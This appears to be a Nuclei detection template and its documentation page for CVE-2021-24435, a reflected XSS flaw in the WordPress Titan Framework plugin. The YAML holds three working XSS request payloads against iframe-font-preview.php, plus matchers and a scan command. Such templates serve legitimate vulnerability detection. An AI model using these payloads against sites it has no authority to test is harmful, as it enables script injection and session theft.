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WordPress Titan Framework plugin <= 1.12.1 - Cross-Site Scripting

ID: CVE-2021-24435

Severity: medium

Author: xcapri,ritikchaddha

Tags: cve2021,cve,wp,xss,wp-plugin,titan-framework,wpscan,wordpress,gambit

Description

Section titled “Description”

The iframe-font-preview.php file of the titan-framework does not properly escape the font-weight and font-family GET parameters before outputting them back in an href attribute, leading to Reflected Cross-Site Scripting issues.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24435


info:
  name: WordPress Titan Framework plugin <= 1.12.1 - Cross-Site Scripting
  author: xcapri,ritikchaddha
  severity: medium
  description: |
    The iframe-font-preview.php file of the titan-framework does not properly escape the font-weight and font-family GET parameters before outputting them back in an href attribute, leading to Reflected Cross-Site Scripting issues.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 2.7.12
  reference:
    - https://wpscan.com/vulnerability/a88ffc42-6611-406e-8660-3af24c9cc5e8
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24435
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24435
    - https://patchstack.com/database/vulnerability/titan-framework/wordpress-titan-framework-plugin-1-12-1-reflected-cross-site-scripting-xss-vulnerability
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24435
    cwe-id: CWE-79
    epss-score: 0.00172
    epss-percentile: 0.54295
    cpe: cpe:2.3:a:gambit:titan_framework:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: gambit
    product: titan_framework
    framework: wordpress
  tags: cve2021,cve,wp,xss,wp-plugin,titan-framework,wpscan,wordpress,gambit


http:
  - method: GET
    path:
      - "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=%27/onerror=%27alert(document.domain)%27/b=%27"
      - "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20onerror=alert(document.domain)%20b=%27"
      - "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20accesskey=%27x%27%20onclick=%27alert(document.domain)%27%20class=%27"


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"


      - type: regex
        regex:
          - (?i)(onerror=|onclick=)['"]?alert\(document\.domain\)['"]?
          - '<p>Grumpy wizards make'
        condition: and


      - type: status
        status:
          - 200
# digest: 490a0046304402202309bc03cd4d5beb6830ce4f463719017bbb03f49e82214ed2f7d0452cd7d86802204182975c87fc60b39b979957ee70aa39f38c9f8ec49a2f027f6e61ba91291377:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24435.yaml"

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